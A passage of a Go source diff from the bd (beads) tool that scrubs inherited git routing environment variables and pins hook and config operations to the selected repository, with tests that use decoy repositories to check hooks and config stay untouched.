} - return append(env, prefix+merged) + return githooksenv.DisabledEnv(os.Environ()) } // clearDoltFileStore removes the contents of a native Dolt file-store diff --git a/cmd/bd/dolt_remote_reset_data_test.go b/cmd/bd/dolt_remote_reset_data_test.go index 9e66f7645..a39dc06af 100644 --- a/cmd/bd/dolt_remote_reset_data_test.go +++ b/cmd/bd/dolt_remote_reset_data_test.go @@ -3,9 +3,12 @@ package main import ( "os" "path/filepath" + "slices" "testing" "github.com/dolthub/dolt/go/store/blobstore" + "github.com/steveyegge/beads/internal/execenv" + "github.com/steveyegge/beads/internal/githooksenv" ) // TestResetDataRefNamesMatchDolt keeps the locally pinned data-plane ref @@ -21,6 +24,25 @@ func TestResetDataRefNamesMatchDolt(t *testing.T) { } } +func TestEnvWithNoGitHooksPreservesExistingParameters(t *testing.T) { + const existing = "'user.email=ci@example.com'" + t.Setenv(githooksenv.ParametersEnv, existing) + t.Setenv("BEADS_TEST_NO_HOOKS_KEEP", "GIT_CONFIG_PARAMETERS=unrelated-value") + + // Build the expected slice independently of Without/DisabledEnv so a + // stale entry cannot hide behind Extract's last-wins lookup. + var want []string + for _, entry := range os.Environ() { + if !execenv.KeyEqual(execenv.EntryKey(entry), githooksenv.ParametersEnv) { + want = append(want, entry) + } + } + want = append(want, githooksenv.ParametersEnv+"="+existing+" "+githooksenv.NoHooksParam) + if got := envWithNoGitHooks(); !slices.Equal(got, want) { + t.Fatalf("envWithNoGitHooks() differs from the expected environment: got %d entries, want %d", len(got), len(want)) + } +} + func TestClassifyResetDataRemote(t *testing.T) { makeBareGitRepo := func(t *testing.T) string { dir := t.TempDir() diff --git a/cmd/bd/hooks.go b/cmd/bd/hooks.go index 4954e29fe..be6ca1747 100644 --- a/cmd/bd/hooks.go +++ b/cmd/bd/hooks.go @@ -15,6 +15,7 @@ import ( "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/debug" "github.com/steveyegge/beads/internal/git" + "github.com/steveyegge/beads/internal/gitenv" "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/internal/ui" "github.com/steveyegge/beads/internal/utils" @@ -854,16 +855,33 @@ func isBdOwnedHookFile(path string) bool { return err == nil && versionInfo.IsBdHook } -// isGitTrackedFile reports whether path is tracked by git in the repository -// containing it. Errors (not a repo, path inside .git/, no work tree) count +// isGitTrackedFile reports whether either the containing repository or the +// inherited Git context tracks path. If neither probe succeeds, errors count // as untracked — the guard only blocks writes it can prove are unsafe. func isGitTrackedFile(path string) bool { dir := filepath.Dir(path) base := filepath.Base(path) - // #nosec G204 G702 - fixed "git" command; dir/base come from the hooks - // directory bd itself resolved, not user input - cmd := exec.Command("git", "-C", dir, "ls-files", "--error-unmatch", "--", base) - return cmd.Run() == nil + inherited := os.Environ() + // Check the containing repository first so inherited routing cannot hide a + // tracked hook. The fallback preserves bare work trees and trusted config. + // Exit 1 is git's "repository reached, path is not tracked" answer and is + // final, so the second probe runs only when the scrubbed environment failed + // for a configuration reason (no reachable repository) rather than spawning + // a second `git ls-files` on every ordinary miss. + for _, env := range [][]string{gitenv.ScrubRouting(inherited), inherited} { + // #nosec G204 G702 - fixed "git" command; dir/base come from the hooks + // directory bd itself resolved, not user input + cmd := exec.Command("git", "-C", dir, "ls-files", "--error-unmatch", "--", base) + cmd.Env = env + err := cmd.Run() + if err == nil { + return true + } + if exit, ok := err.(*exec.ExitError); ok && exit.ExitCode() == 1 { + return false + } + } + return false } //nolint:unparam // force and chain kept for CLI flag compatibility; section markers make them no-ops @@ -1401,10 +1419,24 @@ func resetHooksPathIfBeadsManaged() error { return nil // not in a git repo } + // These checks are defensive. repoRoot and commonDir are resolved + // independently, and an inherited GIT_DIR can make them name different + // repositories, so their agreement is intent rather than an invariant. + // The common-dir pin states that intent: --git-dir addresses the common + // config through either gitdir, while repoRoot is only the subprocess cwd. + commonDir, err := git.GetGitCommonDir() + if err != nil { + return fmt.Errorf("resolve Git common directory for role reset: %w", err) + } + if commonDir == "" { + return fmt.Errorf("empty Git common directory for role reset") + } + configEnv := gitenv.ScrubRouting(os.Environ()) var failures []string - cmd := exec.Command("git", "config", "--get", "core.hooksPath") + cmd := exec.Command("git", "--git-dir", commonDir, "config", "--local", "--get", "core.hooksPath") cmd.Dir = repoRoot + cmd.Env = configEnv if out, err := cmd.Output(); err == nil { hooksPath := strings.TrimSpace(string(out)) // Matches both relative (legacy) and absolute (GH#2414) beads hooks @@ -1412,29 +1444,42 @@ func resetHooksPathIfBeadsManaged() error { // doctor.CheckHooksPath/FixHooksPath so uninstall and `bd doctor --fix` // cannot disagree about what "beads-managed" means. if doctor.IsBeadsManagedHooksPath(repoRoot, hooksPath) { - unsetCmd := exec.Command("git", "config", "--unset", "core.hooksPath") + unsetCmd := exec.Command("git", "--git-dir", commonDir, "config", "--local", "--unset", "core.hooksPath") unsetCmd.Dir = repoRoot + unsetCmd.Env = configEnv if output, err := unsetCmd.CombinedOutput(); err != nil { failures = append(failures, fmt.Sprintf("core.hooksPath: %v (output: %s)", err, strings.TrimSpace(string(output)))) } } + } else if exit, ok := err.(*exec.ExitError); !ok || exit.ExitCode() != 1 { + var diagnostic string + if ok { + diagnostic = strings.TrimSpace(string(exit.Stderr)) + } + failures = append(failures, fmt.Sprintf("read core.hooksPath: %v (output: %s)", err, diagnostic)) } - // core.hooksPath not set at all — nothing to reset there; still fall - // through to beads.role below. + // Exit 1 means the key is absent. Other read failures must remain visible. // Read before unsetting rather than treating git's exit 5 as "already // absent". Exit 5 also means "the key has multiple values, refusing an // ambiguous unset" — a repo with a duplicated beads.role (bad merge, hand // edit) would then report a clean uninstall while leaving the key set, // which is the exact failure this is supposed to stop. - getRoleCmd := exec.Command("git", "config", "--get", "beads.role") + // Keep the selected main/common config, including bare repositories with an + // external worktree, while dropping routing overrides from both commands. + // The presence query must use the same local scope as the unset. + getRoleCmd := exec.Command("git", "--git-dir", commonDir, "config", "--local", "--get", "beads.role") getRoleCmd.Dir = repoRoot - if _, err := getRoleCmd.Output(); err == nil { - roleCmd := exec.Command("git", "config", "--unset", "beads.role") + getRoleCmd.Env = configEnv + if out, err := getRoleCmd.CombinedOutput(); err == nil { + roleCmd := exec.Command("git", "--git-dir", commonDir, "config", "--local", "--unset", "beads.role") roleCmd.Dir = repoRoot + roleCmd.Env = configEnv if output, err := roleCmd.CombinedOutput(); err != nil { failures = append(failures, fmt.Sprintf("beads.role: %v (output: %s)", err, strings.TrimSpace(string(output)))) } + } else if exit, ok := err.(*exec.ExitError); !ok || exit.ExitCode() != 1 { + failures = append(failures, fmt.Sprintf("read beads.role: %v (output: %s)", err, strings.TrimSpace(string(out)))) } if len(failures) > 0 { diff --git a/cmd/bd/hooks_guard_test.go b/cmd/bd/hooks_guard_test.go index 9f91026d0..4297597af 100644 --- a/cmd/bd/hooks_guard_test.go +++ b/cmd/bd/hooks_guard_test.go @@ -4,12 +4,93 @@ import ( "os" "os/exec" "path/filepath" + "runtime" "strings" "testing" "github.com/steveyegge/beads/internal/git" + "github.com/steveyegge/beads/internal/gitenv" ) +func TestGuardHookWritePathIgnoresInheritedGitRouting(t *testing.T) { + runGit := func(repo string, args ...string) { + t.Helper() + cmd := exec.Command("git", args...) + cmd.Dir = repo + cmd.Env = gitenv.ScrubRouting(os.Environ()) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("git %v: %v\n%s", args, err, out) + } + } + target, decoy := t.TempDir(), t.TempDir() + for _, repo := range []string{target, decoy} { + runGit(repo, "init", "--quiet") + runGit(repo, "config", "core.hooksPath", ".git/hooks") + } + hooksDir := filepath.Join(target, "hooks") + if err := os.Mkdir(hooksDir, 0755); err != nil { + t.Fatal(err) + } + foreign := filepath.Join(hooksDir, "pre-commit") + owned := filepath.Join(hooksDir, "pre-push") + untracked := filepath.Join(hooksDir, "post-merge") + contents := map[string]string{ + foreign: "#!/bin/sh\necho team hook\n", + owned: "#!/bin/sh\n" + generateHookSection("pre-push"), + untracked: "#!/bin/sh\necho untracked hook\n", + filepath.Join(decoy, "decoy-only"): "decoy\n", + } + for path, content := range contents { + if err := os.WriteFile(path, []byte(content), 0755); err != nil { + t.Fatal(err) + } + } + runGit(target, "add", "--force", "--", "hooks/pre-commit", "hooks/pre-push") + runGit(decoy, "add", "--force", "--", "decoy-only") + for _, tc := range []struct { + name string + env map[string]string + }{ + {"repository", map[string]string{"GIT_DIR": filepath.Join(decoy, ".git")}}, + {"worktree", map[string]string{"GIT_DIR": filepath.Join(decoy, ".git"), "GIT_WORK_TREE": decoy}}, + {"index", map[string]string{"GIT_INDEX_FILE": filepath.Join(decoy, ".git", "index")}}, + {"inline_config", map[string]string{"GIT_CONFIG_COUNT": "1", "GIT_CONFIG_KEY_0": "core.worktree", "GIT_CONFIG_VALUE_0": decoy}}, + } { + t.Run(tc.name, func(t *testing.T) { + for key, value := range tc.env { + t.Setenv(key, value) + } + if !isGitTrackedFile(foreign) { + t.Error("inherited routing hid the tracked hook") + } + if err := guardHookWritePath(foreign, false); err == nil || !strings.Contains(err.Error(), "tracked by git") { + t.Errorf("expected tracked-file refusal, got %v", err) + } + if err := guardHookWritePath(foreign, true); err != nil { + t.Errorf("shared tracked hook refused: %v", err) + } + if !isGitTrackedFile(owned) { + t.Error("owned hook fixture must remain tracked") + } + if err := guardHookWritePath(owned, false); err != nil { + t.Errorf("bd-owned tracked hook refused: %v", err) + } + if isGitTrackedFile(untracked) { + t.Error("untracked hook reported as tracked") + } + if err := guardHookWritePath(untracked, false); err != nil { + t.Errorf("untracked hook refused: %v", err) + } + for path, want := range contents { + got, err := os.ReadFile(path) + if err != nil || string(got) != want { + t.Errorf("guard changed %s: content=%q, err=%v", path, got, err) + } + } + }) + } +} + // setupGuardTestRepo creates a git repo with one tracked script and chdirs // into it. Returns the repo dir. func setupGuardTestRepo(t *testing.T) string { @@ -249,3 +330,142 @@ func TestApplyHookMigrationRefusesSymlink(t *testing.T) { t.Fatalf("expected symlink refusal, got: %v", err) } } + +func TestGuardHookWritePathHonorsInheritedRepository(t *testing.T) { + // Isolate configuration and restore every inherited routing entry afterwards. + for _, entry := range os.Environ() { + key := gitenv.EntryKey(entry) + if gitenv.IsRoutingKeyForOS(key, runtime.GOOS) { + t.Setenv(key, os.Getenv(key)) + } + } + if _, err := gitenv.ClearRouting(); err != nil { + t.Fatal(err) + } + home := t.TempDir() + t.Setenv("HOME", home) + t.Setenv("USERPROFILE", home) + t.Setenv("XDG_CONFIG_HOME", filepath.Join(home, ".config")) + t.Setenv("GIT_CONFIG_GLOBAL", filepath.Join(home, "nondefault-config")) + t.Setenv("GIT_CONFIG_SYSTEM", os.DevNull) + t.Setenv("GIT_CONFIG_NOSYSTEM", "1") + t.Setenv("GIT_TEST_ASSUME_DIFFERENT_OWNER", "0") + for _, name := range []string{"bare_worktree", "global_safe_directory"} { + t.Run(name, func(t *testing.T) { + repo, err := filepath.EvalSymlinks(t.TempDir()) + if err != nil { + t.Fatal(err) + } + runGit := func(args ...string) { + t.Helper() + cmd := exec.Command("git", args...) + cmd.Dir = repo + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("git %v: %v\n%s", args, err, out) + } + } + if name == "bare_worktree" { + gitDir := t.TempDir() + runGit("init", "--bare", "--quiet", gitDir) + t.Setenv("GIT_DIR", gitDir) + t.Setenv("GIT_WORK_TREE", repo) + } else { + runGit("init", "--quiet") + } + hooksDir := filepath.Join(repo, ".githooks") + if err := os.Mkdir(hooksDir, 0755); err != nil { + t.Fatal(err) + } + hook := filepath.Join(hooksDir, "pre-commit") + const content = "#!/bin/sh\necho team hook\n" + if err := os.WriteFile(hook, []byte(content), 0755); err != nil { + t.Fatal(err) + } + runGit("config", "core.hooksPath", ".githooks") + runGit("add", "--force", "--", ".githooks/pre-commit") + if name == "global_safe_directory" { + // Reproduce a lower-priority ambient allowance even on an isolated host. + ambient := filepath.Join(home, ".config", "git") + if err := os.MkdirAll(ambient, 0755); err != nil { + t.Fatal(err) + } + runGit("config", "--file", filepath.Join(ambient, "config"), "safe.directory", "*") + // This default-global reset survives ScrubRouting removing GIT_CONFIG_*. + runGit("config", "--file", filepath.Join(home, ".gitconfig"), "safe.directory", "") + runGit("config", "--global", "--add", "safe.directory", filepath.ToSlash(repo)) + // Exercise Git's ownership-check control flow, not OS ownership/ACLs. + t.Setenv("GIT_TEST_ASSUME_DIFFERENT_OWNER", "1") + } + t.Chdir(repo) + git.ResetCaches() + t.Cleanup(git.ResetCaches) + resolved, err := git.GetGitHooksDir() + if err != nil { + t.Fatal(err) + } + gotInfo, gotErr := os.Stat(resolved) + wantInfo, wantErr := os.Stat(hooksDir) + if gotErr != nil || wantErr != nil || !os.SameFile(gotInfo, wantInfo) { + t.Fatalf("resolved hooks %q must identify %q: %v, %v", resolved, hooksDir, gotErr, wantErr) + } + inherited := os.Environ() + args := []string{"-C", hooksDir, "ls-files", "--error-unmatch", "--", "pre-commit"} + clean := exec.Command("git", args...) + clean.Env = gitenv.ScrubRouting(inherited) + out, cleanErr := clean.CombinedOutput() + if cleanErr == nil { + t.Fatalf("fixture must require inherited context, scrubbed probe succeeded: %s", out) + } + // The inherited fallback runs only when the scrubbed probe fails + // for a configuration reason. Exit 1 means "repository reached, + // path is not tracked" and is final, so a fixture that produced it + // would make the fallback unreachable and this test vacuous. + if exit, ok := cleanErr.(*exec.ExitError); ok && exit.ExitCode() == 1 { + t.Fatalf("fixture must fail the scrubbed probe for a configuration reason, got exit 1: %s", out) + } + fallback := exec.Command("git", args...) + fallback.Env = inherited + if out, err := fallback.CombinedOutput(); err != nil { + t.Fatalf("inherited tracking precondition: %v\n%s", err, out) + } + for _, check := range []struct { + name string + run func() error + }{ + {"guard", func() error { return guardHookWritePath(hook, false) }}, + {"install", func() error { return installHooksWithOptions(managedHookNames, false, false, false, false) }}, + {"migrate", func() error { + _, err := applyHookMigrationExecution(hookMigrationExecutionPlan{ + WriteOps: []hookMigrationWriteOp{{HookName: "pre-commit", HookPath: hook, SourceKind: hookMigrationWriteFromTemplate}}, + }) + return err + }}, + } { + if err := check.run(); err == nil || !strings.Contains(err.Error(), "tracked by git") { + t.Errorf("%s must refuse tracked foreign hook, got %v", check.name, err) + } + if got, err := os.ReadFile(hook); err != nil || string(got) != content { + t.Errorf("%s changed hook: %q, %v", check.name, got, err) + } + entries, err := os.ReadDir(hooksDir) + if err != nil || len(entries) != 1 || entries[0].Name() != "pre-commit" { + t.Errorf("%s created backup or other hook: %v, %v", check.name, entries, err) + } + } + }) + } +} + +func TestGuardHookWritePathAllowsFileWhenGitUnavailable(t *testing.T) { + path := filepath.Join(t.TempDir(), "pre-commit") + if err := os.WriteFile(path, []byte("foreign hook\n"), 0755); err != nil { + t.Fatal(err) + } + t.Setenv("PATH", "") + if _, err := exec.LookPath("git"); err == nil { + t.Fatal("fixture must make Git unavailable") + } + if err := guardHookWritePath(path, false); err != nil { + t.Fatalf("both tracking errors must retain the untracked policy: %v", err) + } +} diff --git a/cmd/bd/hooks_worktree_test.go b/cmd/bd/hooks_worktree_test.go index 435958afb..60f9b9477 100644 --- a/cmd/bd/hooks_worktree_test.go +++ b/cmd/bd/hooks_worktree_test.go @@ -205,6 +205,18 @@ func TestResetHooksPathIfBeadsManaged_Worktree(t *testing.T) { t.Fatalf("git config core.hooksPath failed: %v", err) } + run("config", "beads.role", "primary") + run("config", "extensions.worktreeConfig", "true") + cmd = exec.Command("git", "config", "--worktree", "beads.role", "worktree-only") + cmd.Dir = worktreeDir + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("configure worktree role: %v\n%s", err, out) + } + cmd = exec.Command("git", "config", "--worktree", "core.hooksPath", ".beads/hooks") + cmd.Dir = worktreeDir + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("configure worktree hooksPath: %v\n%s", err, out) + } t.Chdir(worktreeDir) git.ResetCaches() @@ -212,16 +224,62 @@ func TestResetHooksPathIfBeadsManaged_Worktree(t *testing.T) { t.Fatal("expected git.IsWorktree() to return true") } + git.ResetCaches() // Exercise the actual reset with a cold context. if err := resetHooksPathIfBeadsManaged(); err != nil { t.Fatalf("resetHooksPathIfBeadsManaged failed: %v", err) } - cmd = exec.Command("git", "config", "--get", "core.hooksPath") + cmd = exec.Command("git", "config", "--local", "--get", "core.hooksPath") cmd.Dir = mainRepoDir out, _ := cmd.Output() if strings.TrimSpace(string(out)) != "" { t.Errorf("core.hooksPath = %q after reset, want empty", strings.TrimSpace(string(out))) } + cmd = exec.Command("git", "config", "--local", "--get", "beads.role") + cmd.Dir = mainRepoDir + out, err = cmd.Output() + if exit, ok := err.(*exec.ExitError); !ok || exit.ExitCode() != 1 { + t.Errorf("main role remains after reset: %q, %v", out, err) + } + cmd = exec.Command("git", "config", "--worktree", "--get", "beads.role") + cmd.Dir = worktreeDir + out, err = cmd.Output() + if err != nil || strings.TrimSpace(string(out)) != "worktree-only" { + t.Errorf("worktree-specific role changed: %q, %v", out, err) + } + cmd = exec.Command("git", "config", "--worktree", "--get", "core.hooksPath") + cmd.Dir = worktreeDir + out, err = cmd.Output() + if err != nil || strings.TrimSpace(string(out)) != ".beads/hooks" { + t.Errorf("worktree-specific hooksPath changed: %q, %v", out, err) + } + t.Run("preserve_worktree_role", func(t *testing.T) { + // Seed a new common role so this reset proves removal independently of the first call. + run("config", "--local", "beads.role", "primary") + privateDir, err := git.GetGitDir() + if err != nil { + t.Fatal(err) + } + privateConfig := filepath.Join(privateDir, "config.worktree") + before, err := os.ReadFile(privateConfig) + if err != nil { + t.Fatal(err) + } + git.ResetCaches() + t.Cleanup(git.ResetCaches) + if err := resetHooksPathIfBeadsManaged(); err != nil { + t.Fatalf("reset while preserving a worktree role failed: %v", err) + } + if after, err := os.ReadFile(privateConfig); err != nil || string(after) != string(before) { + t.Fatalf("private worktree config changed: %v", err) + } + get := exec.Command("git", "config", "--local", "--get", "beads.role") + get.Dir = mainRepoDir + out, err := get.Output() + if exit, ok := err.(*exec.ExitError); !ok || exit.ExitCode() != 1 { + t.Errorf("common role after reset = %q, %v; want absent", out, err) + } + }) } func TestConfigureBeadsHooksPath_NormalRepoUnchanged(t *testing.T) { diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 834cd0e7b..260a14774 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -1009,6 +1009,9 @@ var rootCmd = &cobra.Command{ _ = cmd.Help() // Help() always returns nil for cobra commands }, PersistentPreRunE: func(cmd *cobra.Command, args []string) (retErr error) { + if err := clearWorktreeGitRoutingEnv(cmd); err != nil { + return err + } applyNoColorFlag() // Initialize CommandContext to hold runtime state (replaces scattered globals) diff --git a/cmd/bd/uninstall_config_test.go b/cmd/bd/uninstall_config_test.go index 43fac9c12..cd500ae3c 100644 --- a/cmd/bd/uninstall_config_test.go +++ b/cmd/bd/uninstall_config_test.go @@ -4,8 +4,12 @@ import ( "os" "os/exec" "path/filepath" + "runtime" "strings" "testing" + + "github.com/steveyegge/beads/internal/git" + "github.com/steveyegge/beads/internal/gitenv" ) // TestUninstallHooksUnsetsBeadsRole verifies AC2: bd hooks uninstall clears @@ -25,7 +29,7 @@ func TestUninstallHooksUnsetsBeadsRole(t *testing.T) { t.Fatalf("uninstallHooks() failed: %v", err) } - getCmd := exec.Command("git", "config", "--get", "beads.role") + getCmd := exec.Command("git", "config", "--local", "--get", "beads.role") getCmd.Dir = tmpDir out, err := getCmd.Output() if err == nil { @@ -70,7 +74,7 @@ func TestUninstallHooksReportsAmbiguousBeadsRole(t *testing.T) { } // And the key really is still set — the error was not spurious. - getCmd := exec.Command("git", "config", "--get-all", "beads.role") + getCmd := exec.Command("git", "config", "--local", "--get-all", "beads.role") getCmd.Dir = tmpDir out, getErr := getCmd.Output() if getErr != nil { @@ -125,3 +129,218 @@ func TestResetHooksPathIfBeadsManagedReportsFailureLoudly(t *testing.T) { } }) } + +func TestResetConfigReportsReadFailure(t *testing.T) { + repo := newGitRepo(t) + t.Chdir(repo) + git.ResetCaches() + t.Cleanup(git.ResetCaches) + common, err := git.GetGitCommonDir() + if err != nil { + t.Fatal(err) + } + // Corrupt the selected config after context capture so the reads, not discovery, fail. + path := filepath.Join(common, "config") + data := []byte("[invalid\n") + if err := os.WriteFile(path, data, 0600); err != nil { + t.Fatal(err) + } + err = resetHooksPathIfBeadsManaged() + for _, fragment := range []string{"read core.hooksPath", "read beads.role", "bad config"} { + if err == nil || !strings.Contains(err.Error(), fragment) { + t.Errorf("reset error = %v, want %q", err, fragment) + } + } + if after, err := os.ReadFile(path); err != nil || string(after) != string(data) { + t.Errorf("failed read changed config: %q (%v)", after, err) + } +} + +func TestResetRolePreservesSelectedGitContext(t *testing.T) { + for _, entry := range os.Environ() { + key := gitenv.EntryKey(entry) + if gitenv.IsRoutingKeyForOS(key, runtime.GOOS) { + t.Setenv(key, "") + if err := os.Unsetenv(key); err != nil { + t.Fatal(err) + } + } + } + for _, name := range []string{"ordinary", "selected_repository", "bare_external", "invalid", "inline_absent", "selected_config", "global_role", "config_lock", "global_only", "hooks_inline_only", "hooks_global_only", "hooks_foreign_absolute"} { + t.Run(name, func(t *testing.T) { + home := t.TempDir() + for _, key := range []string{"HOME", "USERPROFILE", "XDG_CONFIG_HOME"} { + t.Setenv(key, home) + } + t.Setenv("GIT_CONFIG_NOSYSTEM", "1") + global := filepath.Join(home, ".gitconfig") + globalData := "[user]\n\tname = fixture global\n" + if name == "global_role" || name == "global_only" { + globalData += "[beads]\n\trole = global-default\n" + } + if name == "hooks_global_only" { + globalData += "[core]\n\thooksPath = .beads/hooks\n" + } + if err := os.WriteFile(global, []byte(globalData), 0o600); err != nil { + t.Fatal(err) + } + query := func(dir string, args ...string) ([]byte, error) { + cmd := exec.Command("git", args...) + cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) + return cmd.CombinedOutput() + } + must := func(dir string, args ...string) string { + out, err := query(dir, args...) + if err != nil { + t.Fatalf("git %v: %v\n%s", args, err, out) + } + return strings.TrimSpace(string(out)) + } + cwd, decoy := newGitRepo(t), newGitRepo(t) + selected := filepath.Join(cwd, ".git") + for _, repo := range []string{cwd, decoy} { + must(repo, "config", "beads.role", "primary") + must(repo, "read-tree", "--empty") + if err := os.WriteFile(filepath.Join(repo, ".git", "hooks", "pre-commit"), []byte("#!/bin/sh\necho foreign\n"), 0o600); err != nil { + t.Fatal(err) + } + } + must(decoy, "config", "beads.role", "decoy") + switch name { + case "selected_repository": + selected = filepath.Join(decoy, ".git") + t.Setenv("GIT_DIR", selected) + t.Setenv("GIT_WORK_TREE", decoy) + case "bare_external": + root := t.TempDir() + selected, cwd = filepath.Join(root, "selected bare.git"), filepath.Join(root, "external tree") + must(root, "init", "--bare", selected) + if err := os.Mkdir(cwd, 0o750); err != nil { + t.Fatal(err) + } + must(root, "--git-dir", selected, "config", "beads.role", "primary") + t.Setenv("GIT_DIR", filepath.Join("..", "selected bare.git")) + t.Setenv("GIT_WORK_TREE", cwd) + case "invalid": + t.Setenv("GIT_DIR", filepath.Join(t.TempDir(), "missing.git")) + case "inline_absent": + must(cwd, "config", "--unset", "beads.role") + t.Setenv("GIT_CONFIG_COUNT", "1") + t.Setenv("GIT_CONFIG_KEY_0", "beads.role") + t.Setenv("GIT_CONFIG_VALUE_0", "forged") + case "selected_config": + t.Setenv("GIT_CONFIG", filepath.Join(decoy, ".git", "config")) + probe := exec.Command("git", "--git-dir", selected, "config", "beads.routing-test", "selected-file") + probe.Dir = cwd // This fixture precondition deliberately inherits GIT_CONFIG. + if out, err := probe.CombinedOutput(); err != nil { + t.Fatalf("selected-file probe: %v\n%s", err, out) + } + if got := must(decoy, "config", "--get", "beads.routing-test"); got != "selected-file" { + t.Fatalf("GIT_CONFIG did not select decoy: %q", got) + } + must(decoy, "config", "--unset", "beads.routing-test") + case "global_only": + must(cwd, "config", "--local", "--unset", "beads.role") + if got := must(cwd, "config", "--get", "beads.role"); got != "global-default" { + t.Fatalf("global-only role precondition = %q", got) + } + case "config_lock": + if err := os.WriteFile(filepath.Join(selected, "config.lock"), []byte("owned lock"), 0o600); err != nil { + t.Fatal(err) + } + } + wantHooksPath, checkHooksPath := "", true + switch name { + case "ordinary", "selected_repository", "bare_external", "selected_config": + must(cwd, "--git-dir", selected, "config", "--local", "core.hooksPath", ".beads/hooks") + if name == "selected_config" { + must(decoy, "config", "--local", "core.hooksPath", ".beads/hooks") + } + case "hooks_inline_only", "hooks_global_only": + must(cwd, "config", "--local", "--unset", "core.hooksPath") + if name == "hooks_inline_only" { + t.Setenv("GIT_CONFIG_COUNT", "1") + t.Setenv("GIT_CONFIG_KEY_0", "core.hooksPath") + t.Setenv("GIT_CONFIG_VALUE_0", ".beads/hooks") + } + case "hooks_foreign_absolute": + wantHooksPath = filepath.Join(t.TempDir(), "foreign-hooks") + must(cwd, "config", "--local", "core.hooksPath", wantHooksPath) + default: + checkHooksPath = false + } + saved := map[string][]byte{global: []byte(globalData)} + if checkHooksPath { + for _, hooksDir := range []string{filepath.Join(cwd, ".beads", "hooks"), filepath.Join(decoy, ".beads", "hooks"), wantHooksPath} { + if hooksDir == "" { + continue + } + if err := os.MkdirAll(hooksDir, 0o750); err != nil { + t.Fatal(err) + } + path := filepath.Join(hooksDir, "pre-commit") + data := []byte("#!/bin/sh\necho foreign\n") + if err := os.WriteFile(path, data, 0o600); err != nil { + t.Fatal(err) + } + saved[path] = data + } + } + for _, repo := range []string{cwd, decoy} { + for _, path := range []string{filepath.Join(repo, ".git", "config"), filepath.Join(repo, ".git", "index"), filepath.Join(repo, ".git", "hooks", "pre-commit")} { + if path == filepath.Join(selected, "config") && name != "invalid" && name != "config_lock" && name != "global_only" { + continue + } + if data, err := os.ReadFile(path); err == nil { + saved[path] = data + } else if !os.IsNotExist(err) { + t.Fatal(err) + } + } + } + t.Chdir(cwd) + before := strings.Join(os.Environ(), "\x00") + git.ResetCaches() // Poison is present before either actual entrypoint resolves its context. + t.Cleanup(git.ResetCaches) + var err error + if name == "invalid" || name == "inline_absent" { + err = resetHooksPathIfBeadsManaged() + } else { + err = uninstallHooks() + } + if name == "config_lock" { + if err == nil || !strings.Contains(err.Error(), "beads.role") { + t.Errorf("locked uninstall = %v, want beads.role failure", err) + } + } else if err != nil { + t.Errorf("reset/uninstall failed: %v", err) + } + out, readErr := query(cwd, "--git-dir", selected, "config", "--local", "--get", "beads.role") + if name == "invalid" || name == "config_lock" { + if readErr != nil || strings.TrimSpace(string(out)) != "primary" { + t.Errorf("retained selected role = %q, %v", out, readErr) + } + } else if exit, ok := readErr.(*exec.ExitError); !ok || exit.ExitCode() != 1 { + t.Errorf("selected local role remains: %q, %v", out, readErr) + } + if checkHooksPath { + out, readErr := query(cwd, "--git-dir", selected, "config", "--local", "--get", "core.hooksPath") + if wantHooksPath != "" { + if readErr != nil || strings.TrimSpace(string(out)) != wantHooksPath { + t.Errorf("foreign hooksPath changed: %q, %v", out, readErr) + } + } else if exit, ok := readErr.(*exec.ExitError); !ok || exit.ExitCode() != 1 { + t.Errorf("selected local hooksPath remains: %q, %v", out, readErr) + } + } + for path, before := range saved { + if after, err := os.ReadFile(path); err != nil || string(after) != string(before) { + t.Errorf("unrelated file changed: %s (%v)", path, err) + } + } + if strings.Join(os.Environ(), "\x00") != before { + t.Error("reset changed inherited environment") + } + }) + } +} diff --git a/cmd/bd/worktree_cmd.go b/cmd/bd/worktree_cmd.go index 171b08523..ed29649af 100644 --- a/cmd/bd/worktree_cmd.go +++ b/cmd/bd/worktree_cmd.go @@ -11,6 +11,7 @@ import ( "os" "os/exec" "path/filepath" + "runtime" "sort" "strconv" "strings" @@ -19,7 +20,9 @@ import ( "github.com/spf13/cobra" "github.com/steveyegge/beads/internal/beads" "github.com/steveyegge/beads/internal/config" + "github.com/steveyegge/beads/internal/execenv" "github.com/steveyegge/beads/internal/git" + "github.com/steveyegge/beads/internal/gitenv" "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/internal/ui" "github.com/steveyegge/beads/internal/worktreeremove" @@ -469,7 +472,7 @@ func gitCmdInDir(ctx context.Context, dir string, args ...string) *exec.Cmd { cmd := exec.CommandContext(ctx, "git", gitArgs...) cmd.Dir = dir // Security: Disable git hooks and templates (SEC-001, SEC-002) - cmd.Env = append(os.Environ(), + cmd.Env = append(scrubWorktreeGitRoutingEnv(os.Environ()), "GIT_TEMPLATE_DIR=", ) return cmd @@ -664,47 +667,67 @@ func newWorktreeRemovalGit() (*worktreeRemovalGit, error) { }, nil } -func scrubWorktreeRemovalGitEnv(env []string) []string { - exactKeys := map[string]struct{}{ - "GIT_ALTERNATE_OBJECT_DIRECTORIES": {}, - "GIT_CEILING_DIRECTORIES": {}, - "GIT_COMMON_DIR": {}, - "GIT_DIR": {}, - "GIT_DISCOVERY_ACROSS_FILESYSTEM": {}, - "GIT_EXEC_PATH": {}, - "GIT_GRAFT_FILE": {}, - "GIT_IMPLICIT_WORK_TREE": {}, - "GIT_INDEX_FILE": {}, - "GIT_INTERNAL_SUPER_PREFIX": {}, - "GIT_NAMESPACE": {}, - "GIT_NO_REPLACE_OBJECTS": {}, - "GIT_OBJECT_DIRECTORY": {}, - "GIT_OPTIONAL_LOCKS": {}, - "GIT_PREFIX": {}, - "GIT_QUARANTINE_PATH": {}, - "GIT_REPLACE_REF_BASE": {}, - "GIT_SHALLOW_FILE": {}, - "GIT_SUPER_PREFIX": {}, - "GIT_TEMPLATE_DIR": {}, - "GIT_WORK_TREE": {}, - } +func scrubWorktreeGitRoutingEnv(env []string) []string { + return scrubWorktreeGitRoutingEnvForOS(env, runtime.GOOS) +} - cleaned := make([]string, 0, len(env)) - for _, entry := range env { - key := entry - if separator := strings.IndexByte(entry, '='); separator >= 0 { - key = 